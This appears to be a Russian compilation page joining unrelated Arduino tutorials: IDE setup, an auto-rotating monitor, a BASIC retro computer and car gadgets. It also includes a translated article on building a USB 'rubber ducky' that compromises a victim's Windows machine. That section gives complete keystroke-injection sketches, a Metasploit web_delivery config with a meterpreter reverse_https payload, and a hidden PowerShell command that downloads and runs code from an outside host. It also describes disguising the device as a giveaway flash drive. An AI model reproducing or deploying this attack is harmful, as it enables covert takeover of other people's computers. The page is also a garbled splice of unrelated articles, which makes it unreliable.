Домой / Группы / Установка и настройка Arduino в ОС Windows. Управление ардуино с клавиатуры

Установка и настройка Arduino в ОС Windows. Управление ардуино с клавиатуры

Вы стали счастливым обладателем платы Arduino. Что же делать дальше? А дальше нужно подружить Arduino с компьютером. Мы рассмотрим начало работы с Arduino Uno в операционной системе Windows.

1. Установка Arduino IDE

Для начала нужно установить на компьютер интегрированную среду разработки Arduino - Arduino IDE.

Установка Arduino IDE с помощью инсталлятора избавит вас от большинства потенциальных проблем с драйверами и программным окружением.

2. Запуск Arduino IDE

После того как вы загрузили и установили Arduino IDE, давайте запустим её!

Перед нами окно Arduino IDE. Обратите внимание - мы ещё не подключали нашу плату Arduino Uno к компьютеру, а в правом нижнем углу уже красуется надпись «Arduino Uno on COM1». Таким образом Arduino IDE сообщает нам, что в данный момент она настроена на работу с целевой платой Arduino Uno. А когда придёт время, Arduino IDE будет искать Arduino Uno на порту COM1.

Позже мы поменяем эти настройки.

Что-то пошло не так?

    Arduino IDE не запускается? Вероятно на компьютере некорректно установлена JRE (Java Runtime Environment). Обратитесь к пункту (1) для переустановки Arduino IDE: инсталлятор сделает всю работу по развёртыванию JRE.

3. Подключение Arduino к компьютеру

После установки Arduino IDE пришло время подключить Arduino Uno к компьютеру.

Соедините Arduino Uno с компьютером через USB-кабель. Вы увидите, как на плате загорится светодиод «ON», и начнёт мигать светодиод «L». Это означает, что на плату подано питание, и микроконтроллер Arduino Uno начал выполнять прошитую на заводе программу «Blink» (мигание светодиодом).

Чтобы настроить Arduino IDE на работу с Arduino Uno, нам необходимо узнать, какой номер COM-порта присвоил компьютер Arduino Uno. Для этого нужно зайти в «Диспетчер устройств» Windows и раскрыть вкладку «Порты (COM и LPT)». Мы должны увидеть следующую картину:

Это означает, что операционная система распознала нашу плату Arduino Uno как COM-порт, подобрала для неё правильный драйвер и назначила этому COM-порту номер 7. Если мы подключим к компьютеру другую плату Arduino, то операционная система назначит ей другой номер. Поэтому, если у вас несколько плат Arduino, очень важно не запутаться в номерах COM-портов.

Что-то пошло не так?

4. Настройка Arduino IDE на работу с Arduino Uno

Теперь нам необходимо сообщить Arduino IDE, что плата, с которой ей предстоит общаться, находится на COM-порту «COM7».

Для этого переходим в меню «Сервис» → «Последовательный порт» и выбираем порт «COM7». Теперь Arduino IDE знает - что-то находится на порту «COM7». И с этим «чем-то» ей вскоре предстоит общаться.

Чтобы у Arduino IDE не осталось никаких сомнений, необходимо прямо указать: «Мы будем использовать Arduino Uno!». Для этого переходим в меню «Сервис» → «Плата» и выбираем нашу «Arduino Uno».

Что-то пошло не так?

    Список последовательных портов пуст? Значит Arduino Uno некорректно подключена. Вернитесь к пункту (3), чтобы отладить соединение.

    Arduino IDE невероятно тормозит при навигации по меню? Отключите в диспетчере устройств все внешние устройства типа «Bluetooth Serial». Например, виртуальное устройство для соединения с мобильным телефоном по Bluetooth может вызвать такое поведение.

Среда настроена, плата подключена. Теперь можно переходить к загрузке скетча.

Arduino IDE содержит очень много готовых примеров, в которых можно быстро подсмотреть решение какой-либо задачи. Есть в ней и простой пример «Blink». Давайте выберем его.

Немного модифицируем код, чтобы увидеть разницу с заводским миганием светодиода.

Вместо строчки:

Delay(1000 ) ;

Delay(100 ) ;

Полная версия кода:

/* Blink Turns on an LED on for one second, then off for one second, repeatedly. This example code is in the public domain. */ // Pin 13 has an LED connected on most Arduino boards. // give it a name: int led = 13 ; // the setup routine runs once when you press reset: void setup() { // initialize the digital pin as an output. pinMode(led, OUTPUT) ; } // the loop routine runs over and over again forever: void loop() { digitalWrite(led, HIGH) ; // turn the LED on (HIGH is the voltage level) delay(100 ) ; // wait for a second digitalWrite(led, LOW) ; // turn the LED off by making the voltage LOW delay(100 ) ; // wait for a second }

Теперь светодиод «L» должен загораться и гаснуть на десятую часть секунды. То есть в 10 раз быстрее, чем в заводской версии.

Загрузим наш скетч в Arduino Uno и проверим, так ли это? После загрузки светодиод начнёт мигать быстрее. Это значит, что всё получилось. Теперь можно смело переходить к «Экспериментам »

Что-то пошло не так?

    В результате загрузки появляется ошибка вида avrdude: stk500_get sync(): not in sync: resp = 0x00 ? Это значит, что Arduino настроена некорректно. Вернитесь к предыдущим пунктам, чтобы убедиться в том, что устройство было распознано операционной системой и в Arduino IDE установлены правильные настройки для COM-порта и модели платы.

Узнайте, как создать устройство, которое определяет, когда компьютерный монитор физически повернут, и автоматически сообщает компьютеру повернуть дисплей соответствующим образом.

В настоящее время большое количество цифрового контента является узким и высоким (портретная ориентация), но большинство компьютерных мониторов являются широкими и низкими (ландшафтная ориентация). Это означает, что много места на мониторе теряется впустую. Сравните два скриншота ниже. В ландшафтном представлении видны только полтора поста, а в портретном - 3.



По этой причине при просмотре социальных сетей может быть полезен поворот монитора на 90°, однако переключение настроек дисплея назад и вперед может быть слишком утомительно. Особенно это актуально, если у вас несколько мониторов или компьютер, на котором не работают стандартные сочетания горячих клавиш. Сегодня я собираюсь показать, как создать устройство, которое будет автоматически говорить компьютеру, повернуть дисплей, когда монитор физически повернут.

Принцип действия

Устройство будет собрано на Arduino и установлено на задней панели монитора. Для определения направления мы будем использовать акселерометр. В стационарном режиме акселерометр интерпретирует гравитацию как ускорение вверх, равное 9,8 м/с 2 . Акселерометр будет взаимодействовать с Arduino через интерфейс I2C. Arduino будет постоянно следить (опрашивать), в каком направлении акселерометр думает, что он ускоряется. При изменении Arduino через USB отправит сигнал на компьютер. Скрипт на python, запущенный на компьютере, прочитает это изменение и сообщит компьютеру о необходимости повернуть дисплей в соответствующем направлении.

В данной статье объясняется, как реализовать это на Windows и Linux. Вероятно это можно сделать и на Mac. Однако, поскольку у меня нет Mac, я не могу попробовать. Единственное отличие - это системная команда, вызываемая скриптом Python.

Подключите Arduino с помощью USB кабеля к компьютеру.

Как упоминалось ранее, мы можем использовать акселерометр для определения направления, измеряя, какое направление считывает ускорение 9,8 м/с 2 . Поскольку монитор всегда будет либо в вертикальном, либо в горизонтальном положении, это будет легко (если бы нам было нужно учитывать диагональные ориентации, было бы сложнее).

При программировании хорошей практикой считается разделение кода по различным аспектам на разные файлы. Для определения ориентации мы написали библиотеку на базе официальной библиотеки MMA7455. Это позволяет нам абстрагироваться от деталей того, как это делается, и поэтому наш основной файл может оставаться простым, в нем будет проверяться ориентация вызовом только одной функции и при изменениях отправляться сообщение на компьютер.

Скачайте и распакуйте следующий архив:

Откройте monitor.ino в Arduino IDE. Скомпилируйте и запустите код (все 3 файла для Arduino должны быть в одном каталоге). Откройте монитор последовательного порта Инструменты (Tools) > Монитор порта (Serial Monitor) или с помощью Ctrl + Shift + M .

Вы должны будете увидеть что-то похожее:

Freescale MMA7455 accelerometer May 2012 The MMA7455 is okay STATUS: 0 WHOAMI: 55 Assuming the device is Y_POS

Теперь возьмите Arduino так, чтобы она находилась параллельно вертикальной плоскости. Повращайте её (тоже в вертикальной плоскости). Каждый раз при повороте на 90° вы должны видеть что-то похожее:

Rotate Monitor change detected Rotate Monitor change detected Rotate Monitor change detected Rotate Monitor

Установите устройство на заднюю панель монетора и подключите его к компьютеру с помощью USB кабеля. Для установки вы можете использовать любой способ. Я использовал пластиковые стойки и двухсторонний скотч.

Нам нужно откалибровать акселерометр, чтобы он знал, в каком направлении он указывает при включении. Эта инициализация будет выполняться при каждом включении Arduino. При использовании на мониторе это может быть всякий раз, когда вы включаете компьютер (зависит от того, остается ли питание на USB портах, когда компьютер выключен). Поэтому, когда вы включаете компьютер, это устройство ожидает, что ваш монитор будет находиться в том положении, которое вы определили как положение по умолчанию. Если это не так, Arduino сообщит компьютеру, что дисплей повернут неправильно, или она будет дезориентирована и не будет говорить компьютеру о вращении вовсе.

Когда вы устанавливаете устройство на заднюю панель монитора, обратите внимание на то, какое направление является верхом, когда ваш монитор находится в положении по умолчанию (в том, при котором, вероятно, он будет находиться при включении компьютера).

В monitor.ino есть строка кода, которую нужно соответствующим образом изменить. Если стрелка y на акселерометре указывает вверх, то оставьте в строке Y_POS . Если стрелка указывает вниз, измените строку на Y_NEG . Аналогично и с осью x, используйте X_POS и X_NEG .

#define START_ORIENTATION Y_POS

Если вы хотите понять, как работает код, то продолжайте чтение. Если вам необходим просто работающий продукт, то можно перейти к разделу «Код со стороны компьютера».

Пояснения к коду

Посмотрим на MMA7455.h .

Typedef enum {Y_POS, Y_NEG, X_POS, X_NEG, Z_POS, Z_NEG, NOT_SURE} orientation;

Перечисление enum в C представляет собой тип данных, как int или char . Оно используется для переменных, которые точно могут быть одним из значений из короткого списка нечисловых переменных. В данном случае мы используем enum для сохранения ориентации устройства в переменной.

Посмотрите на акселерометр. Вы увидите на нем стрелки x и y . Когда стрелка x указывает на верх, то мы должны указать X_POS . Когда стрелка x указывает вниз, мы должны указать X_NEG . Ось z указывает на плату. Когда плата лежит на столе в горизонтальном положение, это состояние обозначается Z_POS .

При установке на заднюю панель монитора устройство должно всегда по x-оси или по y-оси быть направлено вверх или вниз. В monitor.ino мы создали макрос под названием VALID_ORIENTATION для проверки, соответствует заданная ориентация одному из 4 возможных вариантов. Как вы можете видеть, можем проверить значение перечисления, как и значения любого другого типа данных.

#define VALID_ORIENTATION(o) ((o==Y_POS) || (o==Y_NEG) || (o==X_POS) || (o==X_NEG))

В функции setup() в основном диагностика. В ней три важных строки:

Serial.begin(9600);

Строка выше инициализирует связь по последовательному порту, через который мы будем взаимодействовать с компьютером.

Wire.begin();

Инициализирует связь по шине I2C, через которую мы будем взаимодействовать с акселерометром. Она инициализирует настройки только на стороне Arduino. Акселерометр мы инициализируем с помощью следующей строки:

Error = MMA7455_init(START_ORIENTATION);

Когда вы нажимаете кнопку, ее контакты не замыкаются идеально. Они «дребезжат», и сигнал выглядит так, как если бы пользователь в течение нескольких миллисекунд нажал кнопку несколько раз. Мы ждем 100 мс, чтобы убедиться, что наш код не интерпретирует этот дребезг как последовательность нажатий. Существует два подхода борьбы с дребезгом контактов. Мы можем реализовать либо аппаратное, либо программное подавление дребезга контактов. Аппаратный метод включает в себя добавление в схему фильтра нижних частот, либо активного, либо пассивного. Поскольку это связано с покупкой и пайкой дополнительных компонентов, вместо него я выбрал программное подавление дребезга.

Используемый нами акселерометр имеет некоторые функции прерываний, но в нашем случае они неприменимы. Вот почему мы прибегли к опросу (прерывания предпочтительны с точки зрения производительности). Как правило, при работе с кнопками рекомендуется использовать прерывания. Однако, поскольку мы уже опрашиваем акселерометр, то можем заодно опросить и кнопку.

Каждый раз в цикле мы проверяем, нажата ли кнопка в данный момент. Если это так, и она была не нажата в предыдущий раз, то мы знаем, что поьзователь нажал ее только что, и поэтому мы запускаем функцию setup() снова и отправляем START_ORIENTATION на компьютер. Затем, прежде чем продолжить, мы ждем 100 мс. Эта задержка нужна, чтобы перед продолжением работы Arduino дождалась, чтобы контакты установили конечное состояние. По общему признанию, это довольно небрежный и ленивый подход к программному подавлению дребезга контактов, потому что Arduino ничего не делает во время задержки. Более сложный подход будет включать в себя таймеры, чтобы, пока Arduino ждет установления состояния контактов, мог выполняться другой код. В этом конкретном случае единственное, что мы упускаем, используя задержку вместо таймера, - это изменение показаний акселерометра. Поскольку, когда пользователь нажимает кнопку, этого происходить не должно, то этот неаккуратный метод можно считать приемлемым. Единственное преимущество метода задержки - это простота. Аппаратное подавление дребезга контактов требует дополнительных компонентов, а написание кода для прерываний и задержек может оказаться сложным.

}else if(!digitalRead(BUTTON_PIN) // кнопка была нажата && previous_button_state) // и это первый раз, когда она нажата { // послать, даже если ориентация на была изменена setup(); // перекалибровать sendOrientation(START_ORIENTATION); delay(100); //программное подавление дребезга контактов previous_button_state = 0; }

Код со стороны компьютера

Arduino отправит информацию на компьютер, используя тот же последовательный интерфейс, который мы используем для ее программирования и отладки. Чтобы избежать конфликтов, убедитесь, что монитор последовательного порта в Arduino IDE закрыт, когда запущен скрипт. Если он открыт, некоторые сообщения от Arduino будут захвачены монитором последовательного порта, и скрипт их не увидит или увидит только их часть.

На стороне компьютера мы будем использовать код на Python. Он будет слушать то, что Arduino пишет в последовательный интерфейс, и выполнять системный вызов для поворота дисплея.

Пользователи Linux могут пропустить следующий подраздел и перейти к подразделу «Linux».

Windows

Если у вас несколько мониторов, то сделайте следующее (если у вас только один монитор, то пропустите этот параграф). Откройте командную строку там, где сохранили display.exe (откройте проводник в этом месте, затем выполните Shift + правый клик на фоне проводника, и выберите " Открыть окно команд "). Введите в консоли display.exe /listdevices . Вы должны будете увидеть индекс каждого вашего монитора. Обратите внимание на индекс монитора, который хотите вращать.

Python скрипт откроет соединение с USB портом. Когда он обнаружит сообщение от Arduino, он пошлет соответствующую команду утилите display.exe , которая и повернет дисплей. Найдите следующую строку и укажите каталог, в котором находится display.exe:

Command = "C:/.../display.exe /rotate:" + translation

Пользователям с несколькими мониторами необходимо добавить еще /device x (где x - индекс вашего монитора). Получится что-то похожее:

Command = "C:/.../display.exe /device 2 /rotate:" + translation

В командной строке перейдите к каталогу, в котором сохранили display.exe и windows-script.py . Это можно сделать с помощью команды cd . Например, если они сохранены в Documents/rotate, используйте:

Cd Documents/rotate

Теперь наберите dir , чтобы увидеть список файлов в каталоге. Дважды проверьте, что в нем есть оба файла. Теперь давайте запустим python-скрипт.

Python windows-script.py

Попробуйте повращать устройство. Дисплей должен поворачиваться в соответствующем направлении.

Теперь нам необходимо, чтобы Windows запускала эту программу в фоновом режиме при включении компьютера. По умолчанию программы из автозапуска запускаются видимыми. Но мы не хотим постоянно видеть окно командной строки. Поэтому мы создадим batch файл, который будет запускать python скрипт в фоновом режиме, а затем выполнение этого batch файла будет завершаться.

Сначала откройте каталог автозагрузки. Расположение этой папки зависит от используемой версии Windows. Нажмите клавишу Windows , а затем R . Должно появиться окно запуска. Наберите shell:startup и нажмите Enter . Теперь вы должны увидеть каталог автозагрузки. Создайте там новый текстовый файл monitor.bat и вставьте в него следующий код. Измените путь так, чтобы он указывал на python скрипт.

@echo off START pythonw C:\...\windows-script.py

Мы используем pythonw вместо python, потому что это обязательно для скрытия окна командной строки python скрипта.

Теперь перезагрузите компьютер и проверьте, что всё работает. Если всё хорошо, то можно перейти к концу статьи.

Linux

Всё готово!

Теперь присаживайтесь и наслаждайтесь более эффективным использованием места на вашем мониторе.

10 октября 2017 в 21:09

Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino

  • DIY или Сделай сам
  • Перевод

Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5 , на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток - вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.

Мы используем 5V Adafruit Trinket и кабель microUSB - вот и всё, что нам понадобится.

К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include . Вам понадобится установить библиотеку, следуя этой инструкции.

#include

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

#include void setup() { TrinketKeyboard.begin(); } void loop() { TrinketKeyboard.print("Help, I am trapped in a computer! \n"); delay(500); }

Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); }
Отлично. Создадим эксплоит во фреймворке Metasploit.

Будем использовать модуль web_delivery . Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

Нужно сказать нашей программе, откуда брать бинарники:

Set LPORT 443

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

Set URIPATH /

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

Set PAYLOAD windows/meterpreter/reverse_https

И наконец exploit .

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

Use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit

Получаем полезную нагрузку для запуска на компьютере жертвы:

Powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");

Теперь можем запустить это с флэшки.

#include void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); } void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); } void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=::GetSystemWebProxy();$N.Proxy.Credentials=::DefaultCredentials;IEX $N.downloadstring("http://1.2.3.4:8080/");"); delay(100); pressEnter(); } void loop() { // nothing happens after setup }
Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам - всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.

Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд - это немалое время, особенно когда прячешься от драконов.

Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.

Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

#include "Keyboard.h" void winRun() { Keyboard.press(KEY_LEFT_GUI); Keyboard.press("r"); delay(30); Keyboard.releaseAll(); delay(100); } void setup() { Keyboard.begin(); delay(2000); winRun(); Keyboard.println("cmd"); Keyboard.write(KEY_RETURN); delay(500); Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=::GetSystemWebProxy();$C.Proxy.Credentials=::DefaultCredentials;IEX $C.downloadstring("http://1.2.3.4:8080/");"); Keyboard.write(KEY_RETURN); } void loop() { // put your main code here, to run repeatedly: }
Самое большое преимущество Pro Micro - это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.

C помощью Arduino можно собрать 8-битный ретро-компьютер с Basic (похожий на ZX Spectrum) с выводом цветного изображения на VGA-монитор.

Кроме того, этот проект можно использовать как простой способ вывода текстовых сообщений на монитор.

Сама по себе, идея использовать Arduino для создания компьютера с BASIC не нова, но насколько я знаю, все они не поддерживают вывод цветного изображения. В некоторых проектах использовались LCD-мониторы, а в других - библиотека TVout , которая выводит чёрно-белое изображение. Кроме того, многие из этих проектов требуют дополнительные модули и специальные платы расширения. Тут же нужно всего-то иметь два Arduino, несколько резисторов, плюс разъёмы для PS/2 клавиатуры и VGA-монитора.

Для проекта нужно две платы Arduino: один будет основным (или «мастером»), в нём работает интерпретатор Tiny Basic Plus (это порт Tiny Basic на языке Си, адаптированный для поддержки Arduino). Также этот Arduino управляет PS/2 клавиатурой. Вывод из первого Arduino через последовательный порт отправляется на второй Arduino, который с помощью библиотеки VGAx генерирует VGA-сигнал.

Программу на языке BASIC в собранный нами компьютер можно будет ввести с помощью PS/2 клавиатуры, а результат можно будет посмотреть на VGA-мониторе: разрешение получившегося изображения 24 столбца на 10 строк, размер символов - 5х6 пикселей, доступно 4 цвета.
После введения программы, её можно будет сохранить в энергонезависимой памяти самого Arduino, а также код программы предусматривает управление I/O пинами Arduino.

1. Подключаем основной Arduino с интерпритатором TinyBasic и с PS/2 клавиатурой

TinyBasic Plus и библиотека VGAx работают с Arduino IDE 1.6.4.
Если у вас уже установлена более новая версия, то лучшее решение - загрузить эту версию с официального сайта в формате.zip, и распаковать в отдельную папку. можно загрузить эту версию для Windows.

Потом нам понадобится библиотека PS2keyboard , её можно загрузить отсюда. После скачивания просто распакуйте архив, и скопируйте его содержимое в «arduino-1.6.4\libraries».

Если на этом этапе нет проблем (в том числе, проблем с совместимостью), то Tiny Basic будет автоматически запущен при включении Arduino. И его можно будет протестировать с помощью последовательного порта на вашем ПК. Для этих целей я использую PuTTY , но вы можете использовать и другую подобную программу, по вашему вкусу.

В настройках нужно правильно установить COM-порт (тот же, что используется в Arduino), и скорость передачи = 4800.

И тут уже можно протестировать нашу систему, набрав какую-нибудь программу на Basic с клавиатуры вашего ПК (позже мы подключим PS/2 клавиатуру напрямую к Arduino).

Для примера, можно набрать:

10 PRINT "Hello, World!" 20 GOTO 10 RUN
Прервать бесконечный цикл этой программы можно с помощью комбинации клавиш Ctrl+C (это не сработает, если мы будем делать это с клавиатуры PS/2).

Теперь подключим PS/2 клавиатуру.

2. Подключаем PS/2 клавиатуру к основному Arduino

Информация и библиотека были взяты из этого материала.

По существу, вам нужно соединить следующие четыре контакта:
Data клавиатуры к Arduino pin 8,
IRQ (clock) клавиатуры к Arduino pin 3;
а также подключить землю (GND) и питание +5V, соответственно.

Я использовал PS/2 разъём cо старой нерабочей материнской платы, его можно легко сдуть с помощью фена.

Распиновка PS/2 разъема есть на рисунке:

3. Загружаем библиотеку VGAx и код во второй Arduino, и соединяем его с основным


Для начала, загрузите код VGAx-PC.ino и скопируйте его к себе на компьютер в папку с таким же именем.

Потом - загрузите с GitHub бибилиотеку VGAx . Её нужно поместить в подпапку «libraries» Arduino IDE.

ВАЖНО! Эта бибилиотека работает с Arduno IDE 1.6.4 и может быть не совместима с другими, более новыми версиями.

Теперь загрузите VGAx-PC.ino во второй Arduino (я тестировал на Arduino Nano, но с Arduino Uno тоже не должно быть проблем).

Предупреждение, что мало доступной памяти - это нормально для нашего случая. Если других ошибок нет, то всё в порядке - и можно сделать ещё пару шагов, чтобы получить свой собственный 8-битный ретро-компьютер.

Для этого нужно:

  • два Arduino Uno Rev.3, или два Arduino Nano 3.x (на основе ATmega328)
  • разъем DSUB15, т.е. гнездо VGA или кабель с таким гнездом, который не жалко отрезать
  • резисторы: 2 на 68 Ом и 2 на 470 Ом
  • разъем PS2
  • провода
  • необязательно: макетная плата

Осталось всё соединить по схеме на рисунке, и наш 8-битный компьютер готов!

Видео, как это всё работает:

Технологии не стоят на месте и сегодня автолюбителям предлагается множество различных вариантов для совершенствования своих «железных коней». Одним из таковых является Arduino. Это устройство представляет собой инструмент, использующийся для проектирования электронных устройств. В случае с автомобилем проектирование обычно осуществляется на лобовое стекло. Как сделать бортовой компьютер на Arduino и как его правильно настроить — читайте в этой статье.

[ Скрыть ]

Идеи для авто на основе маленькой платы с маленьким процессором — Arduino

Компы давно и плотно вошли в нашу жизнь. Аппаратная платформа Arduino — это одна из последних разработок с открытым программным кодом, которая построена на обычной печатной схеме. Подробнее о том, как с помощью такой платы сделать разные устройства для авто, мы расскажем далее.

БК

С помощью платы Arduino можно соорудить автомобильный бортовой компьютер, который сможет:

  • рассчитать расход горючего;
  • вывести информацию о температуре антифриза;
  • рассчитать скорость движения, а также расстояние поездки;
  • вывести потраченное горючее за определенный километраж;
  • определить обороты мотора и т.д (автор видео — канал Arduino Tech PTZ).

Помимо устройства Arduino вам также потребуется жидкокристаллический модуль, адаптер Блютуз НС-05, а также сканер ELM327 и резисторное устройство на 10 кОм. Разумеется, необходимо приготовить и звуковой индикатор, монтажные провода и сам корпус устройства.

Процедура сборки осуществляется следующим образом:

  1. Сначала настраиваем Блютуз адаптер. К пинам устройства нужно припаять провода — к двум нижним и верхним контактам.
  2. Сам модуль подключается к плате для настройки, для этого необходимо открыть программу Arduino IDE 1.0.6 или любую другую версию, после его залить скетч в схему через USB-выход.
  3. Когда загрузка будет завершена, нужно зайти в меню Сервис — Монитор порта и выставить скорость 9600.
  4. Затем собирается схема с платой, адаптером и заранее подготовленным дисплеем. Сначала подключается Блютуз адаптер.
  5. После этого в схему добавляется дисплей. Более подробное описание подключения вы найдете на фото ниже.
  6. Резисторный элемент на 10 кОм используется для управления яркостью и контрастностью дисплея. Поэтому при первом подключении вы можете заметить, что изображения нет, если это так, то его нужно просто настроить путем поворота резистора.
  7. Далее, производится подключение дополнительной клавиши, которая будет выполнять функцию переключения экранов с информацией. Один контакт от кнопки идет к элементу GND, второй — к контакту 10. Чтобы подключить бипер, плюсовой контакт соединяется с 13 пином, а минусовой — с GND.
  8. Затем, используя то же программное обеспечение Arduino IDE 1.0.6, нужно залить скетч. Теперь вам остается только настроить бортовой компьютер и подключить его к автомобилю.

Фотогалерея «Схема подключения БК»

GPS-трекер

Чтобы собрать GPS-трекер на базе Arduino, вам потребуется:

  • сама плата, процесс описан на примере модели Mega 2560;
  • модуль GSM/GPRS, который будет использоваться для передачи данных на сервер;
  • а также Arduino GPS-приемник, в примере мы рассмотрим модель SKM53 (автор видео об изготовлении трекера на примере платы SIM 808 — канал Alex Vas).

Как производится подключение схемы:

  1. Сначала осуществляется подключение модуля к основной плате, по умолчанию установлена скорость передачи данных 115200.
  2. После подключения нужно включить девайс и установить одинаковую скорость для всех портов — как последовательных, так и программных.
  3. GSM передатчик подключается к контактам 7 и 8 на основной микросхеме.
  4. Затем производится настройка модуля путем ввода команд. Все команды мы описывать не будем, их и так можно найти в Интернете без проблем. Рассмотрим только самые основные. AT+SAPBR=3,1,«CONTYPE»,«GPRS» — команда определяет тип подключения, в данном случае это GPRS. AT+SAPBR=3,1,«APN»,«internet.***.ru», где *** — это адрес оператора мобильной сети, который будет использоваться. AT+HTTPINIT — по этой команде производится инициализация HTTP.
  5. Нужно отметить один нюанс — при написании серверной составляющей интерфейса, желательно предусмотреть прием и выведение данных для нескольких адаптеров. Нужно установить переключатель на три позиции, это даст возможность получать данные от восьми автомобилей.
  6. Затем производится написание скетча на микросхеме. Сам скетч также можно найти в Сети, писать его необязательно. Учтите, если будут использоваться два активных последовательных порта, это может привести к ошибкам в передачи и отправке информации.

Парктроник

Чтобы соорудить парктроник, вам потребуются такие составляющие:

  • сама микросхема;
  • ультразвуковое устройство, в данном случае это дальномер HC-SR04:
  • шесть светодиодных элементов;
  • шесть резисторных элементов сопротивлением на 220 Ом;
  • соединительные провода типа «папа-папа»;
  • пьезодинамический элемент;
  • макетная схема для сборки.

Процедура сборки выглядит следующим образом:

  1. Для начала на макетной схеме необходимо установить светодиодные элементы, подготовленные заранее. Отрицательный контакт у всех светодиодов будет общим. Короткий контакт — катод — следует подключить к отрицательной шине, которая имеется на макетной плате.
  2. К более длинным контактам диодов, то есть анодам, необходимо подключить резисторные элементы на 200 Ом, если вы не будете их использовать, это приведет к перегоранию диодов.
  3. На центральной части производится монтаж ультразвукового устройства. На этом контроллере есть четыре контакта. Vcc — это контакт питания на пять вольт, Echo — это выходной контакт, Trig — это вход, а GND — это заземление.
  4. После того, как дальномер будет установлен, к его выходам следует подключить проводку. В частности, контакт Echo подключается к выходу 13, Trig — к 12 контакту. GND, соответственно, необходимо соединить с заземлением, которое имеется на схеме контроллера, а оставшийся выход Vcc соединяется с 5-вольтовым питанием на плате Arduino.
  5. После выполнения этих действий нужно соединить проводку с контактами резисторных элементов. А также они подключаются последовательным образом к пинам на плате — используются пины от 2 до 7.
  6. Следующим этапом будет подключение пьезопищалки, которая и будет предупреждать водителя о приближении к препятствию. Минусовой выход, как вариант, можно будет объединить с отрицательным контактом установленного ранее дальномера. Что касается положительного контакта, то он соединяется с пином под номером 11 на микросхеме.
  7. Для того, чтобы устройство в конечном итоге работало в нормальном режиме, дополнительно нужно будет написать, после чего загрузить код программы в плату. В этом коде необходимо точно указать дистанцию, при приближении к которой начнут загораться диодные элементы и будет срабатывать пищалка. Причем тональность пищалки должна быть разной, чтобы водитель мог узнать, когда приближение к препятствию будет критическим. Сам код либо пишется самостоятельно, либо берется уже готовый вариант из Интернета. Вариантов скетчей очень много, вам нужно только выбрать наиболее подходящий для вашего устройства (автор видео — канал Arduino Prom).

Заключение

